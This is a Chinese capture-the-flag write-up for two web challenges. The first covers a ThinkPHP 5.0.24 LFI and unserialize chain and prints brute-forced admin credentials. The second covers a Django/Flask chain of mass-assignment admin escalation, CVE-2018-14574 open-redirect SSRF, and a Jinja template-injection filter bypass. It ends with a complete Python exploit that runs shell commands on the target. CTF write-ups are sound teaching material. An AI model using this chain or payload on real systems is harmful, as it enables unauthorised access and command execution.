UnsafeDefenseSystem
PHP/5.6.26, tp 5.0.24
经过一番吐血的信息搜集,看到了这个破静态站的源码里竟然有注释
我要对出题人使出极限一换一
访问/protect.py能看到一个超长的憨批监控脚本,其实也不用看
在静态站注释提示的/public/nationalsb/login.php的注释中又看到了关于密码的提示
通过爆破得到用户名密码:
1 2 Admin1964752 DsaPPPP!@#amspe1221
后台存在lfi。经过一番读文件,看到index controller中存在反序列化点
结合上文所知道的thinkphp版本可以搜到:
https://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/
https://xz.aliyun.com/t/7594
出题人可能是想让条件竞争过protect.py ,但是实际上我们可以往/tmp目录底下写文件,并且在nationalsb那里包含这一文件,最终拿到shell
jsonhub
白盒审计。对外开放的是web1,一个Django服务,内网还有个flask。
首先整理思路:首先要过那个django的token,然后ssrf请求flask_rpc,这样才能带上Content-Type发POST请求
很明显,注册的时候参数完全可控,也就是说可以伪造管理员身份。将两个字段,is_superuser
与is_staff
都设置为True,就能访问 http://39.104.19.182/admin/app/token/
拿到token了。
在请求后方flask服务前,django服务对REMOTE_URL
进行了验证。由于题目部署在了docker里,访问公网ip时REMOTE_URL
实际上是172.多少多少(即使不在docker里也是公网ip)。
https://xz.aliyun.com/t/3302
利用CVE-2018-14574漏洞进行跳转即可
再看第二个服务:
1 2 3 4 5 6 7 8 @app.before_request def before_request (): data = str (request.data) log() if "{{" in data or "}}" in data or "{%" in data or "%}" in data: abort(401 ) ... json.loads(...)
python中的json模块在解析json时会自动将转义过的字符恢复,所以可以用"\u007b"
来绕过before_request
关于表达式的正则过滤,由于对符号的过滤不严格导致了一个非预期,甚至完全不需要管num1和num2:
exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from requests import Request, session, get, postfrom bs4 import BeautifulSoupfrom base64 import b64encodeimport jsonHOST = 'http://39.104.19.182' ses = session() USER = 'frkasdf' PASS = 'qwer' post(HOST + '/reg/' , json={ 'username' : USER, 'password' : PASS, 'is_staff' : True , 'is_superuser' : True }).json()['code' ] ses.post(HOST + '/login/' , json={ 'username' : USER, 'password' : PASS, }) page = BeautifulSoup(get( HOST + '/admin/app/token/' , cookies=ses.cookies ).text, 'lxml' ) token = page.find('td' , attrs={'class' : 'field-Token' }).text ssti = '{{config.__class__.__init__.__globals__["os"].popen("/readflag").read() + ""}}' payload = ('{' + json.dumps({ 'num1' : '' , 'num2' : '' , 'symbols' : ssti, })[1 :-1 ].replace('{' , '\\u007b' ).replace('}' , '\\u007d' ) + '}' ) payload = b64encode(payload.encode()).decode() req = Request('GET' , HOST + '//127.0.0.1:8000/flask_rpc' , params={ 'methods' : 'POST' , 'url' : 'http://localhost:5000/caculator' , 'data' : payload }).prepare() print (json.loads(ses.post(HOST + '/home/' , json={ 'url' : req.url, 'token' : token }).json()['message' ])['message' ])